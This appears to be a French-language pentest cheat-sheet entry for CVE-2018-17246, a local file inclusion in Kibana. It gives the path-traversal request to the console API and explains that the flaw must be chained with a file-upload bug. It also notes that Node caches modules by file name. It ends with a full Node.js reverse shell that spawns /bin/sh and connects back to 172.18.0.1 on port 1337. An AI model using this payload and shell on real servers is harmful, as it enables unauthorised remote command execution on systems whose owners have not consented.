
CVE-2018-17246 - Kibana LFI < 6.4.3 & 5.6.13
Une inclusion de fichier local sur Kibana découverte par CyberArk Labs, l'LFI peut être utilisée pour exécuter un reverse shell sur le serveur Kibana avec le payload suivant :
/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../path/to/shell.js
Comme vous l'avez déjà deviné, cette attaque doit être associée à un téléchargement de fichier sans restriction ou à toute autre vulnérabilité qui vous permet d'écrire un fichier sur le serveur.
Il n'y a pas de validation des entrées, donc nous pouvons changer le nom du fichier JavaScript comme nous le voulons. Dans ce cas, avec la technique de traversée de chemin, nous pouvons choisir n'importe quel fichier sur le serveur Kibana. Cependant, une chose à savoir est la fonctionnalité de mise en cache des modules de Node. Essentiellement, puisque l'LFI fonctionne en envoyant une entrée utilisateur non nettoyée à la fonction
requirede Node, le module inclus (le payload de l'attaquant) sera mis en cache par nom de fichier. Cela signifie que vous ne pouvez pas envoyer le même payload pour, par exemple, récupérer un reverse shell.

Détails de la vulnérabilité : https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
Avis de sécurité : https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "172.18.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();